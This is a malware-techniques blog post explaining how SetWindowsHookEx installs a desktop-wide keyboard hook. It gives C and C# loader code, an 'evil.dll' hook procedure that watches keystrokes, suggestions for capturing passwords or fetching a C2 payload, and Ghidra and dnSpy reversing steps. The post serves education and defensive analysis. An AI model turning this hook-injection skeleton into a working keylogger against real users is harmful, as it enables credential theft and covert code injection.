Skip to Main Content
September 12, 2024

Putting Our Hooks Into Windows

Written by Scott Nusbaum
Malware Analysis

We're back with another post about common malware techniques. This time we are talking about setting Windows hooks. This is a simple technique that can be used to log keystrokes or inject code into remote processes. We will be employing the use of SetWindowsHookEx to register a function to be called whenever an event is triggered.

We will demonstrate this method in C and C# like we have in previous posts.

1.1      How Does it Work?

This attack works by utilizing the Windows SetWindowsHookEx function. This function allows the programmer to tell Windows to add a specified hook procedure into a hook chain. An example would be to hook the WH_KEYBOARD type to create a keystroke logger.

Every time a key is pressed or released, a message will be placed in a message list or chain known as a hook chain. Each link in the chain will process the message and then pass it to the next link. The listening function then can store the keystrokes in memory, on disk, or sent to a C2 server.

The parameters for the SetWindowsHookEx function are shown below.

HHOOK SetWindowsHookExA(
  [in] int       idHook,
  [in] HOOKPROC  lpfn,
  [in] HINSTANCE hmod,
  [in] DWORD     dwThreadId
);
  • idHook is the type of hook to be added. There is a list of 14 different types of hooks, although some are depreciated in newer windows. For our purposes, we are going to focus on the WH_KEYBOARD hook type. This will signal our application-defined function whenever a keyboard event is triggered.
  • lpfn is a pointer to the application-defined function that will be called when the event is triggered. This function must contain the following parameters: nCode, wParam, and lParam.
  • hmod is a pointer to the library containing the application-defined function. In our case, this will be a malicious DLL that is loaded onto the target system. We will be using an obvious name called evil.dll.
  • dwThreadID is the thread identifier for the hook to be tied to. This parameter with the value of 0 (zero), on desktops, will add this hook to all threads running on the desktop not just the current thread.

After the hook has been added to the hook_chain, the registered DLL will be loaded into any process that triggers that hooks event. So, any process that a key is pressed will execute our malicious code. The following image is of a X64dbg breakpoint set for when a new DLL is loaded. The debugger was attached to Microsoft Notepad.exe after the malicious process was started. It was verified that the evil.dll was not loaded into the Notepad memory space. Then, typing a single character into the Notepad application caused the evil.dll to be loaded into that memory space and executed.

Figure 1 - Notepad Loading evil.dll

1.2      Code Demonstration in C and C#

We will begin with an example in C. The example is very small, and in and of itself is benign. The example begins with loading a library into memory. Then find the address to one of its functions. The library and the function addresses are then used in the SetWindowsHookEx function call. The last few lines of the example keep this program from ending until we are ready. As soon as the program ends, the hook we added will be removed.

 04 int main( int argc, char* argv[] )                                              
 05 {                                                                               
 06     HMODULE library = LoadLibrary("evil.dll");                                  
 07     HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "evil_func");         
 08     HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0);           
 09     char option;                                                                
 10     printf("Enter 'q' to exit\n");                                              
 11     do                                                                          
 12     {                                                                           
 13         option = getchar ();                                                    
 14     }                                                                           
 15     while (option != 'q');                                                      
 16 }
  • Line 6: Loads the requested library into the current memory space and returns its address.
  • Line 7: Searches the loaded library for a function with the name evil_func. Once found, it returns its memory address
  • Line 8: Adds a hook to the hook_chain for keyboards using the SetWindowsHookEx function.
  • Lines 10-15: Keeps the program open until the user enters the character q. This is needed because when the program exits the added hook is removed.

Next, we will discuss the DLL itself. This example is written in C but could be written in C# as well. The evil DLL example contains two functions: DLLMain and evil_func. DLLMain is used when the library is called for the first time. The evil_func is used to perform our more nefarious tasks. In this case, the evil_func is programmed to listen to keystrokes until it detects the string START, then it displays a message box to the user. Pretty benign, but this could, however, be used to log keystrokes since the function will be called at least once on each key press. Other uses could include a persistence mechanism that will only be triggered when a specific key sequence has been typed. Imagine the attacker knows the target’s username structure and wants to grab passwords. They might trigger on ‘@TRUSTEDSEC.COM’ if the usernames include the email addresses. Also, this could be used as a method of persistence, where the malware waits for a specific key sequence to trigger and then reaches out to a C2 to download the main communication package.

04 char lastKey = 0;                                                               
 05 char str[6];                                                                    
 06 int  str_len = 0;                                                               
 07                                                                                 
 08 __declspec(dllexport) LRESULT CALLBACK  evil_func( int nCode, WPARAM wParam, LPARAM lParam )
 09 {                                                                               
 10     char l_str[200];                                                            
 11     if (lastKey == (char) wParam) goto END;                                     
 12     lastKey = (char)wParam;                                                     
 13     if (str_len < 5)                                                            
 14     {                                                                           
 15         str[str_len] = lastKey;                                                 
 16         str_len += 1;                                                           
 17     } else                                                                      
 18     {                                                                           
 19         strncpy(str, str+1,4);                                                  
 20         str[str_len-1] = lastKey;                                               
 21     }                                                                           
 22     if (strncmp(str, "START", 5) == 0)                                          
 23     {                                                                           
 24         sprintf(l_str, "Malware is running now, str (%s)", str );               
 25         int msgboxID = MessageBox( NULL, l_str, "Are you sure?", MB_OKCANCEL);  
 26     }                                                                           
 27 END:                                                                            
 28     return CallNextHookEx( NULL, nCode, wParam, lParam );                       
 29 }                                                                               
 30                                                                                 
 31 bool __stdcall DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 
 32 {                                                                               
 33     switch( dwReason )                                                          
 34     {                                                                           
 35         case DLL_PROCESS_ATTACH:                                                
 36             memset(str,0,6);                                                    
 37             break;                                                              
 38     }                                                                           
 39     return TRUE;                                                                
 40 }
  • Lines 4-6: Setting up global variables used by the functions every time they are called to keep track of previous entries.
  • Line 8: The function prototype. Ncode is the code the hook used to process the message. Specifies what the next parameters will contain. wParam is the keycode for the key pressed. The lParam contains the message flags. Including things like repeat count, scan code, etc.
  • Line 10: Creates a memory space on the stack to store a string message
  • Line 11: Compares the new keystroke to the last keystroke. This is used to filter out double submissions, key press, key release. If the same, then does nothing and returns
  • Line 12: Saves the current key to the global last key
  • Lines 13-21: Check the length of the global string buffer. If it’s under 5 characters long, then append the new character. If it’s over 5 characters, then shift the characters to the left by one and add the new character to the end.
  • Lines 22-26: Check the global string buffer if it contains the word START. If it does, then generate a message box. Otherwise, do nothing.
  • Lines 27-28: Cleans up the function by calling the next function in the keyboard hook_chain and then exiting the function.
  • Lines 31-40: This is the DLL’s main function that is used when loading the library for the first time. In this case, we are only using it to set the global string to all zeros.

The C# example and the C version are very similar, with the exception that we need to wrap the Windows API calls in unsafe declared classes and use a wrapper function to declare the Windows APIs that are used.

 07 namespace dll_sethook                                                           
 08 {                                                                               
 09     unsafe class Program                                                        
 10     {                                                                           
 11         static void Main(string[] args)                                         
 12         {                                                                       
 13             IntPtr libAddr =  Win32.LoadLibrary("evil.dll");                    
 14             IntPtr evilAddr = Win32.GetProcAddress(libAddr, "evil_func");       
 15                                                                                 
 16             IntPtr hook = Win32.SetWindowsHookEx(Win32.HookType.WH_KEYBOARD, evilAddr, libAddr, 0);
 17                                                                                 
 18             Console.WriteLine("Press 'q' to exit");                             
 19             while (Console.ReadKey().Key != ConsoleKey.Q) {}                    
 20         }                                                                       
 21     }                                                                           
 22 }
  • Line 9: Tells C# that the whole class is “unsafe” and will be using function and memory outside of the normal C# standard usage.
  • Line 13: Using a helper class Win32 to load the function definition of LoadLibrary to load the evil.dll into the program’s memory space and returns the memory address of the loaded library.
  • Line 14: Using the helper class again to access GetProcAddress to find the function address of the evil_func within the loaded library.
  • Line 16: Adds a hook to the hook_chain for keyboards using the SetWindowsHookEx function.
  • Lines 18-19: Keeps the program open until the user enters the character q. This is needed because when the program exits the added hook is removed.

1.3      Reversing the Code

The C code we discussed earlier was compiled into a Windows 64-bit executable using MinGW, then disassembled and decompiled with Ghidra. As you can see below, the Ghidra-generated source code is a very close match to the original.

Figure 2 - Ghidra Decompiled C Code

Reversing most C# code is simple with the tool, dnSpy. There are methods to hide or corrupt the .exe so that dnSpy cannot decompile it, but for the most part, attackers do not go to that extent.

To load the executable in dnSpy, simply drag and drop it onto the left pane. Once loaded, the pane will provide a tree listing of the components of the .exe.

The following image is the decomplication of the C# hook example as shown in dnSpy. Again, it’s very close to the original.

Figure 3 - DnSpy Generated Source Code for Main Function
 Figure 4 - DnSpy Generated Source Code for the API Function Call

1.4      Conclusion

Using the SetWindowsHookEx is a fun way to illustrate the Keystroke logger because when the hook is installed it will monitor all keystroke events not just those from the originating process. This function can also be used to inject malicious DLLs into remote processes but is limited to only processes owned by the current user. In the past, this injection method has been detected by multiple Security Products and must be tested in a lab before usage in a client environment.